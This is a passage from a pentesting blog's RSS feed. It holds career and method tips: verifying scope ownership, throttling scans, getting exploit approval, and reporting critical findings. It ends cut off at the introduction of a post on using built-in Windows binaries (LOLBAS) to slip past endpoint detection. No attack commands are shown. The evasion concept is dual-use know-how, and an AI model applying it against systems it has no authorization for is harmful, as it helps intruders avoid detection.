&lt;span style=&quot;font-size: x-small;&quot;&gt;I tend to&amp;nbsp;look forward and think of what I can do better but sometimes I tend to forget all the struggles and efforts that led me where I am now.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;We all have an imposter syndrome in this&amp;nbsp;industry and mine is huge. I often think there&#39;s too many people&amp;nbsp;brighter and better than myself and my head starts spinning with a bunch of stuff like that, until I think of how much effort I put to get to where I am right now and how long it took me. I often forget how many baby steps I had to take to get there. I could connect the&amp;nbsp;dots only after so many years, quoting Steve Jobs&#39; famous Stanford&amp;nbsp;commencement speech.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;I often thought I was going nowhere, but I never quit. As a matter of fact, every single baby step and&amp;nbsp;every choice I made&amp;nbsp;brought me here: attending a community college, working with Dave Kennedy, getting two degrees,&amp;nbsp;multiple certifications, getting back to the&amp;nbsp;info sec industry, with a crappy job first and finally becoming a penetration tester on top of that. And I know I&#39;m a nobody, and I don&#39;t want or need fame, but I&#39;m proud of what I did. Every single choice I made had its own function and brought me one&amp;nbsp;step closer to my goal.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;When your head starts spinning like&amp;nbsp;that, think back of this and feel&amp;nbsp;proud of your accomplishments, no matter how little. You&#39;re the only judge when it comes down to this, don&#39;t let anyone belittle your achievements. I&#39;m&amp;nbsp;particularly harsh to myself, and I think I can do way better than this but I&#39;m nonetheless proud. I can only thank myself. I kept going, no matter what, and in the end my dreams came true. I had a great support system, I need to say, but hard work is needed.&amp;nbsp;You don&#39;t go anywhere without it, unless you&#39;re a genius.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-size: 14px;&quot;&gt;Wrap-up&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;Even though so many in our&amp;nbsp;industry are into superheroes, we&#39;re not Ironmen.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;We&#39;re&amp;nbsp;human beings with our flaws and weaknesses and, though we love what we do,&amp;nbsp;we also need to learn how to disconnect every now and then and take the time to recharge our batteries.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;Burnout is a very serious though little&amp;nbsp;debated problem in information security, but it can lead to severe issues, including mental diseases, if left unchecked.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt; &lt;span id=&quot;goog_1386830219&quot;&gt;&lt;/span&gt;&lt;span id=&quot;goog_1386830220&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;We all tend to be overworked and we&amp;nbsp;love what we do, so we don&#39;t mind that, but we often forget we&#39;re human beings, and human beings need time to recharge.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;I debated whether to actually publish this post or not, but I ended up doing it because I believe it can help raise awareness and open a conversation about this issue.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;I&#39;m not the best&amp;nbsp;person when it comes&amp;nbsp;down to social media conversations (I really hate this term), and not much into social media myself, but sometimes talking about common issues with other&amp;nbsp;people&amp;nbsp;experiencing your same problem can offer you a different&amp;nbsp;perspective and make you think of different ways for you &lt;/span&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;to&lt;/span&gt; face it.&amp;nbsp;Changing the way you think of something can often times give you a different solution you&amp;nbsp;hadn&#39;t thought about before.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;Archimedes&amp;nbsp;famously said:&amp;nbsp;&quot;&lt;span style=&quot;color: #ffa400;&quot;&gt;&lt;span color=&quot;rgb(95 , 99 , 104)&quot; face=&quot;&amp;quot;arial&amp;quot; , sans-serif&quot; style=&quot;font-style: italic; font-weight: bold; letter-spacing: normal; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;Give me a lever&lt;/span&gt;&lt;span color=&quot;rgb(77 , 81 , 86)&quot; face=&quot;&amp;quot;arial&amp;quot; , sans-serif&quot; style=&quot;background-color: white; letter-spacing: normal; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;&amp;nbsp;long enough and a fulcrum on which to place it, and I shall move the&amp;nbsp;&lt;/span&gt;&lt;span color=&quot;rgb(95 , 99 , 104)&quot; face=&quot;&amp;quot;arial&amp;quot; , sans-serif&quot; style=&quot;font-style: italic; font-weight: bold; letter-spacing: normal; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;world&lt;/span&gt;&lt;/span&gt;&quot;.&amp;nbsp;Our&amp;nbsp;mind can be the lever for us to completely&amp;nbsp;change what we do and improve our world.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;We simply need to want it. &lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;hr /&gt;
&lt;a href=&quot;http://savvygeektips.blogspot.com&gt;One Tip A Day Tech Blog&lt;/a&gt;&lt;/div&gt;</description><link>http://savvygeektips.blogspot.com/2020/08/tips-for-information-security_29.html</link><author>noreply@blogger.com (SavvyGeek)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8Ct2PMUZzzLj52rl6-0nMnFrT5laUEDblhRb9luvDMddsExgYXz-3JQJFjmkSVb0YE9fXNbisyHzy_0suWtctunILmjnyt9ih2nTQOXlblhCOayeoeISRTifNz1DdOYURdpDoQSOQCLp/s72-c/external-content.duckduckgo.com.jpeg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2419284614709488194.post-1031980856332717020</guid><pubDate>Sat, 22 Aug 2020 23:24:00 +0000</pubDate><atom:updated>2023-07-09T19:22:41.368-04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">hacking</category><category domain="http://www.blogger.com/atom/ns#">pentesting</category><category domain="http://www.blogger.com/atom/ns#">tips&amp;tricks</category><title>Tips for an Information Security Analyst/Pentester career - Ep. 86 - Experience-based tips 101 (no. 3)</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div style=&quot;border: 0px none; color: transparent; display: none; line-height: 0px; margin: 0px; max-height: 1px; opacity: 0; padding: 0px; text-align: center; visibility: hidden; width: 1px;&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;1&quot; src=&quot;https://go.sparkpostmail2.com/q/fSmNMSzq1fegWnjDizsG-A~~/AAQLGwA~/RgRhJCqxPVcDc3BjQgoAIbGlQV-2isT-UiFjYW1wYWduYW5vbWF0dGlhLnN0YXJAYmxvZ2dlci5jb21YBAAAAAA~&quot; width=&quot;1&quot; /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;  &lt;img height=&quot;1&quot; src=&quot;https://links.messages.evernote.com/e/eo?_t=84bd64b57134499c9e3dacd6d3ed435a&amp;amp;_m=22522a4971654d2ab59f362bde811671&amp;amp;_e=-rGPQwnnnnrA2BIxTYNByyPWdAA2wdAJucgVc9StjqMntnngfo0iNIRzYRvqjsxle_OWpjZUz2uATyLY-1Bdbdsa6HVl1q_H4bS6KyrwJvp2WXsSnfM5GXbJADbdyuG3TIf_Mvcae0FSWqJjfQmhoc-V2jTlHIq1daBiEAqnDXF2Jyhnkvns32-3SXFMI9_P&quot; style=&quot;border: 0px none; display: none; height: 1px; line-height: 0; width: 1px;&quot; width=&quot;1&quot; /&gt; &lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;ennote&quot;&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;I&#39;ve been working as a pentester for almost two years by now, dealing with increasingly complex situation and technical challenges, especially as to internal engagements.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;I&amp;nbsp;think&amp;nbsp;it&#39;s important to take the time to have a look at what I learned from this journey so far, and share these lessons with newbies out there approaching this industry for the first time. I hope these few considerations can help you guys avoid or minimize some major mistakes we all did when approaching your first&amp;nbsp;pentests.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;Before I get into them, though, I believe having a company that allows you to fail to a certain extent and has your back when things go south is very important.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;I admit I got lucky, under this point of view.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;a) &lt;i&gt;PASSIVE RECON-GET YOUR SCOPE RIGHT&lt;/i&gt;: you&amp;nbsp;were given a scope and you&#39;re eager to jump into action, so you&#39;re ready to fire up your Nmap and go. I know, I&#39;ve been there myself, but not so fast yet.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;Before&amp;nbsp;scanning specific IP addresses, make sure they actually&amp;nbsp;belong to the client. Run passive recon with&amp;nbsp;&lt;a href=&quot;shodan.io&quot; target=&quot;_blank&quot;&gt;shodan&lt;/a&gt;,&amp;nbsp;&lt;a href=&quot;https://censys.io&quot; target=&quot;_blank&quot;&gt;censys&lt;/a&gt;, &lt;a href=&quot;https://dnslytics.com/&quot;&gt;dnslytics,&lt;/a&gt; &lt;a href=&quot;https://www.netcraft.com/&quot; target=&quot;_blank&quot;&gt;netcraft&lt;/a&gt; and other tools (as a shameless plug, I also use &lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;https://links.messages.evernote.com/u/click?_t=84bd64b57134499c9e3dacd6d3ed435a&amp;amp;_m=22522a4971654d2ab59f362bde811671&amp;amp;_e=xVY-zXauJGbd24_0kE5xrdetVJfjMYssil5dKO0xfNydOdTOpzzqQBZLptGojeldQv7_KIfh0g26CIBskdd2__Mfl4Zz1r1cqtNaQ6kec0sH6aPM3BSrk09nrCyyKZm_LKf-HpumNbrFKeMUEY4G96ontvcm0KjVfjgAxqv2t5o17yub3D7tKmFUU9X3hDfC4o03n0DciYKDV25vdmd7QJi_GwGMGH9xX_ceITjdax6qc9I_SlYwONp5V63Qt7SuW5Xz0-UiELNMkHuQHuS3Fki7k0LY7901KyLqkOPDLHhHb4uQ-PhscgF93VugPRJ1&quot;&gt;my script&lt;/a&gt; for this). If the in-scope hosts have web ports, check their SSL certificates&amp;nbsp;through the above-mentioned tools and make sure they&#39;re referred to the client. In other words, if you&#39;re pentesting ACME LLC, make&amp;nbsp;sure the SSL certificate for the hosts you&#39;re scanning is directly registered to ACME LLC, or it can be associated with it another way, indirectly. I sadly&amp;nbsp;had to learn this lesson the hard way.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;iframe allowfullscreen=&quot;&quot; class=&quot;giphy-embed&quot; frameborder=&quot;0&quot; height=&quot;327&quot; src=&quot;https://giphy.com/embed/33bpFN25l6qNW&quot; width=&quot;480&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;ONLY WHEN YOU&#39;VE PROVEN OWNERSHIP, YOU CAN START ACTIVE RECON. If you don&#39;t follow this rule, you could end up scanning addresses you&#39;re not authorized to scan, which can cause you and your company legal issues. ACCOUNT FOR THE CHANCE THE CLIENT MIGHT MAKE MISTAKES WHEN GIVING YOU THE SCOPE.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQYm1Oma8ibS_3uU5-g23c2hCjaeu44UrTByOC85qTBLd-SiI06_dcJRm9Lmv9NgzBG66jxeD_SP0qh_o4siAj_YGpXR58S168elGzgC40-8YQ5NuMPsOdz3HSW4HjNhOyd0wwzVjggIBa/s1600/3b1e4c7955b9630ff26c769282932cbd-757721.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;636&quot; data-original-width=&quot;900&quot; height=&quot;452&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQYm1Oma8ibS_3uU5-g23c2hCjaeu44UrTByOC85qTBLd-SiI06_dcJRm9Lmv9NgzBG66jxeD_SP0qh_o4siAj_YGpXR58S168elGzgC40-8YQ5NuMPsOdz3HSW4HjNhOyd0wwzVjggIBa/s640/3b1e4c7955b9630ff26c769282932cbd-757721.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;You&amp;nbsp;might think,&amp;nbsp;&quot;Well, they gave us the scope, it&#39;s their computers, so how can it be wrong?&quot;. Sometimes, even the client can make mistakes, such as typos or wrong CIDRs. If this happens, and you don&#39;t catch it right away, you might end up&amp;nbsp;scanning a series of IP addresses that&amp;nbsp;doesn&#39;t absolutely belong. That&#39;s why double-checking ownership is important. If you see a specific IP address doesn&#39;t belong to ACME, LLC (in our&amp;nbsp;example), but to a completely different organization (say American Wheels, Corp.), that&#39;s a red flag and means something&#39;s wrong with your scope, unless the two organizations are&amp;nbsp;somehow&amp;nbsp;connected (e.g. the latter&amp;nbsp;organization&#39;s brand belongs to the former, or vice versa), or they merged.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;As a hands-on example, one IP address we were given for a pentest had a typo and it wrongly resulted to be located in France. The client didn&#39;t have offices in that country and so we noticed it right away but, if this wasn&#39;t the case, that could&#39;ve opened a&amp;nbsp;whole can of worms for us. So you need to get your scope right in the first place. Additionally, sometimes organizations use IP addresses belonging to an ISP which manages a large network space,&amp;nbsp;splitting it among different organizations, so it&#39;s important to make sure of what the client&#39;s specific network range &lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;is&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;. A useful tip to solve this problem is to use Nmap for reverse DNS resolution. Running Nmap with the &lt;span style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;--inversion-type-color: simple; color: #ff8e0a;&quot;&gt;-sL&lt;/span&gt;&lt;/span&gt; switch allows to resolve an IP address to its hostname or DNS name, which can be useful to double check if it belongs to the client&#39;s organization.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;b) &lt;i&gt;MAKE SURE TO THROTTLE DOWN YOUR SCANS&lt;/i&gt;: Nessus, Burp and Nmap scans can&amp;nbsp;sometimes cause sensitive network devices to crash. You might want to throttle down your scans, especially when&amp;nbsp;dealing with healthcare clients, as they can have&amp;nbsp;sensitive medical devices connected to the internet in their network.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;Nessus is a major culprit because it can generate a&amp;nbsp;real high traffic volume.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;I recommend to check the options located in the &lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Nessus&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;https://links.messages.evernote.com/u/click?_t=84bd64b57134499c9e3dacd6d3ed435a&amp;amp;_m=22522a4971654d2ab59f362bde811671&amp;amp;_e=xVY-zXauJGbd24_0kE5xrU0E5hzsRCoBlw3QkaJ6cJlZwyB5exrxgkBkTY6dvrQxMeCKg_wl4apu-Jj-WQCrd1AzEVMcspts87_-HhU1aU9hfwxBrkYc-jbWXJSDv4ONb-y3opfqtjILqzKyaQbv_TAkoQ0OL2Nyv_8izJQ9YAEuYASXJ1LRGpKzeZ4zA1UZKwG3MGznKZkbkSMqSVvfF5y6Hw7nZeqW30cqyjTOKZUyUP0qxYLZvuAmOW9xWONJU8fYtFyT5icYNrPTUaj7gG58n1OhxG-B3SqWek0KKx7uQeIw9WAE96M1co91SWsdh1P5gDNVTtFVzLJUizqfCw%3D%3D&quot;&gt;&amp;nbsp;&lt;i&gt;Advanced&amp;nbsp; &lt;/i&gt;tab&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;. Under the &lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;i&gt;Settings&lt;/i&gt; and &lt;i&gt;Performance&lt;/i&gt; sections, you&amp;nbsp;should&amp;nbsp;enable the options that are shown as &lt;i&gt;disabled&lt;/i&gt; (as they&#39;re disabled by default). This allows for scans to be less invasive and to generate a lower amount of traffic. As for Nmap, you want to&amp;nbsp;avoid using the &lt;span style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;--inversion-type-color: simple; color: #e35608;&quot;&gt;-A&lt;/span&gt;&lt;/span&gt; parameter or running potentially intrusive scripts that might cause a denial of service. As for Burp, going to &lt;i&gt;Dashboard/Settings &lt;/i&gt;(the gear icon), you can lower the amount of requests per seconds&amp;nbsp;generated and add a time delay between each single request.&amp;nbsp;Burp is a massive RAM hog, so I always do that.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrHyhNNnGpMuP-IjInA1vfcm1uUt5A56iwn2CKUXitsrl4DRhDHsaMPlRAhvnfOSdchy5Eq21q01snGVKeBgcAMT0d0091PpBKOkOp2osVydnchXbiDrWSd54xwgR_5nDMVlFB6s1_UiSi/s450/proxy.duckduckgo.com.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;253&quot; data-original-width=&quot;450&quot; height=&quot;359&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrHyhNNnGpMuP-IjInA1vfcm1uUt5A56iwn2CKUXitsrl4DRhDHsaMPlRAhvnfOSdchy5Eq21q01snGVKeBgcAMT0d0091PpBKOkOp2osVydnchXbiDrWSd54xwgR_5nDMVlFB6s1_UiSi/s640/proxy.duckduckgo.com.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;span style=&quot;font-size: small;&quot;&gt;c) GET CLARITY ABOUT WHAT IS ALLOWED AND WHAT IS NOT AS TO YOUR EXPLOITATION:&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;Are you allowed to run an exploit at all and, if so, can you run it right away or do you have to alert the client and then wait for approval? If you were supposed to get approval before running an exploit and then you crash a server because of that, the client might not be particularly happy about it.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;span style=&quot;font-size: small;&quot;&gt;d) INFORM YOUR CLIENT RIGHT AWAY WHEN A CRITICAL FINDING IS VALIDATED:&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;I sometimes happen to get a shell on one or more machines, and also to dump and crack password hashes, or anyway I&#39;m able to validate another type of critical finding (such as SQLi).&amp;nbsp;Especially when the finding is referred to the client&#39;s external network and can be easily exploited through a browser&amp;nbsp;over the Internet, you need to inform the client right away&amp;nbsp;about that, because some bad guys could be leveraging the same vulnerability on that very&amp;nbsp;moment, and your mission is to stop them, before they exfiltrate proprietary information. Refer to the ROE for the specific person(s) to contact under this scenario,&amp;nbsp;but you&#39;d&amp;nbsp;normally have&amp;nbsp;this&amp;nbsp;information down way before the pentest got even started.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;i&gt;Wrap-up&lt;/i&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;Penetration testing isn&#39;t for the&amp;nbsp;faint of heart, it requires hard work and attention to detail. The possibility for you to majorly screw up a pentest is always round the corner, and that&#39;s why I check myself&amp;nbsp;thousands of times and I&#39;m always paranoid and on my toes when I work&amp;nbsp;on a project.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;Experience is such an entry barrier to this industry, and there&#39;s a very good&amp;nbsp;reason for it.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;In fact, there are too many opportunities for newbies to mess up and cause major troubles when they start out in this industry, due to its complexity and the learning curve you need to face. If you don&#39;t have any prior experience doing this, you simply don&#39;t know and might think you&#39;re doing a good job when you&#39;re not even covering your bases. Sadly, there&#39;s only one way to learn: fail and fail fast.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;I&amp;nbsp;played in my virtual lab for four years before being a professional pentester, but that barely prepared me for 10% of what I had to do.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;I&amp;nbsp;mostly had to learn on the job and figure things &lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;out &lt;/span&gt;on my&amp;nbsp;own. I was very lucky with my supervisors and my company culture, as I was always supported and often was given the right tip at the right time to solve a challenge and&amp;nbsp;score a vulnerability.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;There&#39;s not a&amp;nbsp;lot of hand-holding in this&amp;nbsp;industry, and that&#39;s why I believe OSCP is pretty realistic under this point of view, even though I don&#39;t think the exam machines you get &lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;always &lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;reflect real-world scenarios. However, they&#39;re a very good indicator of what an actual pentest really looks like most of the times, in terms of the steps you follow and of the structured procedure you need to have down for you to do a good job.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;One recommendation is not to overthink this, though. You&#39;d be surprised to know how many Windows 2000, Windows Server 2003 and Windows XP machines I spotted over my engagements.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;Additionally, you&#39;ll never be 100% ready for anything in your life, so just do it, but be aware of the challenges you&#39;ll get.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;I hope these few humble tips can help you guys approach this industry more effectively.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;Good luck and ad maiora.&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;hr /&gt;
&lt;a href=&quot;http://savvygeektips.blogspot.com&gt;One Tip A Day Tech Blog&lt;/a&gt;&lt;/div&gt;</description><link>http://savvygeektips.blogspot.com/2020/08/tips-for-information-security.html</link><author>noreply@blogger.com (SavvyGeek)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQYm1Oma8ibS_3uU5-g23c2hCjaeu44UrTByOC85qTBLd-SiI06_dcJRm9Lmv9NgzBG66jxeD_SP0qh_o4siAj_YGpXR58S168elGzgC40-8YQ5NuMPsOdz3HSW4HjNhOyd0wwzVjggIBa/s72-c/3b1e4c7955b9630ff26c769282932cbd-757721.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2419284614709488194.post-423841913268803105</guid><pubDate>Thu, 07 May 2020 02:35:00 +0000</pubDate><atom:updated>2023-02-05T02:20:39.411-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">hacking</category><category domain="http://www.blogger.com/atom/ns#">pentesting</category><title>Tips for an Information Security Analyst/Pentester career - Ep. 85: Weaponizing Windows Binaries (LOLBAS &amp; C.)</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
Over the last years, attackers have used increasingly sophisticated techniques, by leveraging coding bugs in web applications and security gaps in EDR systems and in antivirus software.   &lt;br /&gt;
&lt;br /&gt;
Security solutions play a cat-and-mouse game with bad guys, trying to catch up, and they often fail.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So far security products have mostly focused on detecting malicious payloads dropped to the target machine in multiple ways (through phishing, drive-by downloads and other mechanisms), but most of them widely overlook another important attack vector.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;
One of the latest trends in penetration testing is to use the so-called Living Off the Land Binaries and Scripts (LOLBAS), i.e. scripts and binaries normally installed by default in Windows, to slip through undetected. An alike approach for *nix systems is called &lt;span title=&quot;Edited&quot;&gt;GTFOBins.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span title=&quot;Edited&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;As for Windows, this new threat vector is based on the concept that several system binaries may support built-in functionalities that potentially allow for compromise of the target system, but at the same time, as they are often bundled in Windows and signed by Microsoft, they do not normally raise any eyebrows when present in system activity. LOLBAS represent standard Windows features and binaries that can be often abused by attackers to bypass endpoint detection and defenses
&lt;br /&gt;
&lt;br /&gt;
A very useful reference to build on this concept is the LOLBAS project, available at &lt;a href=&quot;https://www.blogger.com/#&quot;&gt;https://lolbas-project.github.io/&lt;/a&gt;. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I recently participated in an engagement where I managed to widely use this method to compromise the target system, though it was hardened by a well-designed security solution.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Most incident response platforms focus on signatures or behavioral patterns, therefore they detect a potentially malicious binary either when it’s not signed by Microsoft or other trusted sources, or when its hash value matches the hash value of a known malware variant.&lt;br /&gt;
